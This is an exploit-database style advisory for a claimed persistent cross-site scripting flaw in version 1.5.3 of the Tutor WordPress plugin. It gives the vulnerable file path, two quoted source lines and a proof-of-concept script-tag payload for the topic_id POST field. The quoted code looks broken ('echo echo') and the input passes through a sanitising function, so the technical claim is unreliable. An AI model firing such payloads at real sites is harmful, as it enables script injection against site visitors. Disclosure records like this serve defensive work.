WordPress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting

Author: Mehran Feizi
type: webapps
platform: php
port: 
date_added: 2020-02-13 
date_updated: 2020-06-18 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

#  Tile: Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

===================================================================
Vulnerable page:
/Quiz.php
===================================================================
Vulnerable Source:
473: echo echo $topic_id;
447: $topic_id = sanitize_text_field($_POST['topic_id']);
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/classes/Quiz.php
$_POST('topic_id') = <script>alert('mehran')</script>
=================================================================================